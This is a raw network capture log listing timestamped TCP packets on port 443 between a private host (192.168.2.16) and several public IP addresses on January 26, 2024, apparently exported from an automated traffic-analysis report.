Jan 26, 2024 10:17:44.567698956 CET	443	49760	13.107.219.254	192.168.2.16
Jan 26, 2024 10:17:44.567817926 CET	49760	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:44.570357084 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.570481062 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.570543051 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.570632935 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.588718891 CET	443	49759	40.126.28.12	192.168.2.16
Jan 26, 2024 10:17:44.588747025 CET	443	49759	40.126.28.12	192.168.2.16
Jan 26, 2024 10:17:44.588790894 CET	443	49759	40.126.28.12	192.168.2.16
Jan 26, 2024 10:17:44.588814020 CET	49759	443	192.168.2.16	40.126.28.12
Jan 26, 2024 10:17:44.588844061 CET	443	49759	40.126.28.12	192.168.2.16
Jan 26, 2024 10:17:44.588864088 CET	443	49759	40.126.28.12	192.168.2.16
Jan 26, 2024 10:17:44.588864088 CET	49759	443	192.168.2.16	40.126.28.12
Jan 26, 2024 10:17:44.588911057 CET	49759	443	192.168.2.16	40.126.28.12
Jan 26, 2024 10:17:44.589246988 CET	49759	443	192.168.2.16	40.126.28.12
Jan 26, 2024 10:17:44.589262009 CET	443	49759	40.126.28.12	192.168.2.16
Jan 26, 2024 10:17:44.589276075 CET	49759	443	192.168.2.16	40.126.28.12
Jan 26, 2024 10:17:44.589282036 CET	443	49759	40.126.28.12	192.168.2.16
Jan 26, 2024 10:17:44.610016108 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.610038996 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.610136032 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.610147953 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.610270977 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.629606009 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.629683018 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.629692078 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.629925966 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.688765049 CET	443	49760	13.107.219.254	192.168.2.16
Jan 26, 2024 10:17:44.688849926 CET	443	49760	13.107.219.254	192.168.2.16
Jan 26, 2024 10:17:44.688972950 CET	49760	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:44.688973904 CET	49760	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:44.695887089 CET	49760	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:44.695946932 CET	443	49760	13.107.219.254	192.168.2.16
Jan 26, 2024 10:17:44.714639902 CET	49761	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:44.714694977 CET	443	49761	13.107.219.254	192.168.2.16
Jan 26, 2024 10:17:44.714761972 CET	49761	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:44.719906092 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.719944000 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.720132113 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.720132113 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.720195055 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.720259905 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.760945082 CET	49761	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:44.760979891 CET	443	49761	13.107.219.254	192.168.2.16
Jan 26, 2024 10:17:44.765686035 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.765708923 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.765882015 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.765882015 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.765975952 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.766282082 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.790021896 CET	49762	443	192.168.2.16	13.107.21.200
Jan 26, 2024 10:17:44.790112019 CET	443	49762	13.107.21.200	192.168.2.16
Jan 26, 2024 10:17:44.790333033 CET	49762	443	192.168.2.16	13.107.21.200
Jan 26, 2024 10:17:44.795092106 CET	49762	443	192.168.2.16	13.107.21.200
Jan 26, 2024 10:17:44.795152903 CET	443	49762	13.107.21.200	192.168.2.16
Jan 26, 2024 10:17:44.806633949 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.806657076 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.806817055 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.806845903 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.807104111 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.841718912 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.841738939 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.842581034 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.842641115 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.842832088 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.857692003 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.857880116 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.857978106 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.858048916 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.883253098 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.883269072 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.883467913 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.883467913 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.883538008 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.883667946 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.894714117 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.894936085 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.894994974 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.895091057 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.914216042 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.914232016 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.914324045 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.914385080 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.914449930 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.927037954 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.927283049 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.927341938 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.927413940 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.947467089 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.947485924 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.947705030 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.947705030 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.947767019 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.948059082 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.957125902 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.957317114 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.957406998 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.957787037 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.975655079 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.975672960 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.975967884 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.976027966 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.976083994 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.987631083 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.987730026 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:44.987787962 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:44.987857103 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.003559113 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.003576994 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.003648043 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.003678083 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.003746033 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.014836073 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.014956951 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.014981031 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.015064955 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.030745983 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.030764103 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.030872107 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.030931950 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.031133890 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.036904097 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.036990881 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.037050009 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.037101984 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.049491882 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.049506903 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.049724102 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.049784899 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.049859047 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.051316977 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.051389933 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.051449060 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.051487923 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.051538944 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.051795006 CET	49758	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.051824093 CET	443	49758	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.053802967 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.053843975 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.053991079 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.054594040 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.054610014 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.126380920 CET	443	49761	13.107.219.254	192.168.2.16
Jan 26, 2024 10:17:45.126555920 CET	49761	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:45.127011061 CET	49761	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:45.127038002 CET	443	49761	13.107.219.254	192.168.2.16
Jan 26, 2024 10:17:45.127326965 CET	49761	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:45.127341032 CET	443	49761	13.107.219.254	192.168.2.16
Jan 26, 2024 10:17:45.166342974 CET	443	49762	13.107.21.200	192.168.2.16
Jan 26, 2024 10:17:45.166423082 CET	49762	443	192.168.2.16	13.107.21.200
Jan 26, 2024 10:17:45.167485952 CET	443	49762	13.107.21.200	192.168.2.16
Jan 26, 2024 10:17:45.167566061 CET	49762	443	192.168.2.16	13.107.21.200
Jan 26, 2024 10:17:45.178725004 CET	49762	443	192.168.2.16	13.107.21.200
Jan 26, 2024 10:17:45.178750992 CET	443	49762	13.107.21.200	192.168.2.16
Jan 26, 2024 10:17:45.179259062 CET	443	49762	13.107.21.200	192.168.2.16
Jan 26, 2024 10:17:45.179322004 CET	49762	443	192.168.2.16	13.107.21.200
Jan 26, 2024 10:17:45.182538033 CET	49762	443	192.168.2.16	13.107.21.200
Jan 26, 2024 10:17:45.182717085 CET	443	49762	13.107.21.200	192.168.2.16
Jan 26, 2024 10:17:45.227865934 CET	49764	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:45.227955103 CET	443	49764	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:45.228048086 CET	49764	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:45.228378057 CET	49764	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:45.228415012 CET	443	49764	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:45.248074055 CET	443	49761	13.107.219.254	192.168.2.16
Jan 26, 2024 10:17:45.248161077 CET	443	49761	13.107.219.254	192.168.2.16
Jan 26, 2024 10:17:45.248367071 CET	49761	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:45.249016047 CET	49761	443	192.168.2.16	13.107.219.254
Jan 26, 2024 10:17:45.249058962 CET	443	49761	13.107.219.254	192.168.2.16
Jan 26, 2024 10:17:45.359700918 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.359769106 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.360362053 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.360373974 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.360763073 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.360769033 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.439189911 CET	443	49762	13.107.21.200	192.168.2.16
Jan 26, 2024 10:17:45.439220905 CET	443	49762	13.107.21.200	192.168.2.16
Jan 26, 2024 10:17:45.439300060 CET	49762	443	192.168.2.16	13.107.21.200
Jan 26, 2024 10:17:45.439315081 CET	443	49762	13.107.21.200	192.168.2.16
Jan 26, 2024 10:17:45.439357042 CET	49762	443	192.168.2.16	13.107.21.200
Jan 26, 2024 10:17:45.439429998 CET	49762	443	192.168.2.16	13.107.21.200
Jan 26, 2024 10:17:45.446578979 CET	49765	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:17:45.446659088 CET	443	49765	20.187.64.58	192.168.2.16
Jan 26, 2024 10:17:45.446742058 CET	49765	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:17:45.447630882 CET	49765	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:17:45.447704077 CET	443	49765	20.187.64.58	192.168.2.16
Jan 26, 2024 10:17:45.450983047 CET	49762	443	192.168.2.16	13.107.21.200
Jan 26, 2024 10:17:45.451060057 CET	443	49762	13.107.21.200	192.168.2.16
Jan 26, 2024 10:17:45.542541981 CET	443	49764	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:45.542804003 CET	49764	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:45.543214083 CET	49764	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:45.543265104 CET	443	49764	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:45.543428898 CET	49764	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:45.543446064 CET	443	49764	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:45.543724060 CET	49764	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:45.543754101 CET	443	49764	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:45.667340040 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.667363882 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.667383909 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.667440891 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.667440891 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.667460918 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.667500973 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.667524099 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.833271980 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.833304882 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.833458900 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.833475113 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.833542109 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.839834929 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.839939117 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.886019945 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.886066914 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.886152983 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.886152983 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.886178017 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.886305094 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.917762995 CET	443	49764	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:45.917934895 CET	49764	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:45.918081045 CET	443	49764	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:45.918212891 CET	443	49764	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:45.918266058 CET	49764	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:45.918266058 CET	49764	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:45.918323040 CET	443	49764	23.1.237.25	192.168.2.16
Jan 26, 2024 10:17:45.918384075 CET	49764	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:45.918684006 CET	49764	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:17:45.963506937 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.963562012 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.963603973 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.963619947 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:45.963675976 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:45.963675976 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.009213924 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.009248018 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.009310961 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.009320021 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.009370089 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.044806004 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.044830084 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.044878006 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.044898033 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.044931889 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.044989109 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.067240000 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.067490101 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.100630045 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.100651979 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.100790024 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.100805998 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.100934982 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.115959883 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.116086960 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.137541056 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.137592077 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.137701035 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.137701988 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.137712002 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.137857914 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.158309937 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.158334017 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.158504963 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.158514023 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.158638954 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.168073893 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.168201923 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.188726902 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.188745022 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.188795090 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.188805103 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.188859940 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.188859940 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.198573112 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.198641062 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.205080986 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.205178022 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.205183029 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:17:46.205239058 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:17:46.423922062 CET	443	49765	20.187.64.58	192.168.2.16
Jan 26, 2024 10:17:46.424103975 CET	49765	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:06.775861025 CET	49765	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:06.775909901 CET	443	49765	20.187.64.58	192.168.2.16
Jan 26, 2024 10:18:06.775955915 CET	49765	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:06.775965929 CET	443	49765	20.187.64.58	192.168.2.16
Jan 26, 2024 10:18:06.776148081 CET	49763	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:06.776196957 CET	443	49763	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:06.776382923 CET	443	49765	20.187.64.58	192.168.2.16
Jan 26, 2024 10:18:06.776451111 CET	49765	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:06.778469086 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:06.778508902 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:06.778594971 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:06.778908014 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:06.778922081 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.089396954 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.089579105 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.089946032 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.089972973 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.090143919 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.090157032 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.095845938 CET	443	49765	20.187.64.58	192.168.2.16
Jan 26, 2024 10:18:07.095932007 CET	49765	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:07.095947027 CET	443	49765	20.187.64.58	192.168.2.16
Jan 26, 2024 10:18:07.095973969 CET	443	49765	20.187.64.58	192.168.2.16
Jan 26, 2024 10:18:07.095997095 CET	49765	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:07.096015930 CET	49765	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:07.097541094 CET	49765	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:07.097569942 CET	443	49765	20.187.64.58	192.168.2.16
Jan 26, 2024 10:18:07.099637985 CET	49767	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:07.099678993 CET	443	49767	20.187.64.58	192.168.2.16
Jan 26, 2024 10:18:07.099780083 CET	49767	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:07.100049019 CET	49767	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:07.100065947 CET	443	49767	20.187.64.58	192.168.2.16
Jan 26, 2024 10:18:07.394727945 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.394767046 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.394793987 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.394814014 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.394843102 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.394855976 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.394885063 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.394900084 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.560643911 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.560678005 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.560789108 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.560842991 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.560906887 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.567044020 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.567131042 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.613025904 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.613081932 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.613168001 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.613189936 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.613357067 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.613357067 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.690453053 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.690530062 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.690583944 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.690609932 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.690639973 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.690658092 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.736387968 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.736423969 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.736480951 CET	49766	443	192.168.2.16	173.222.162.7
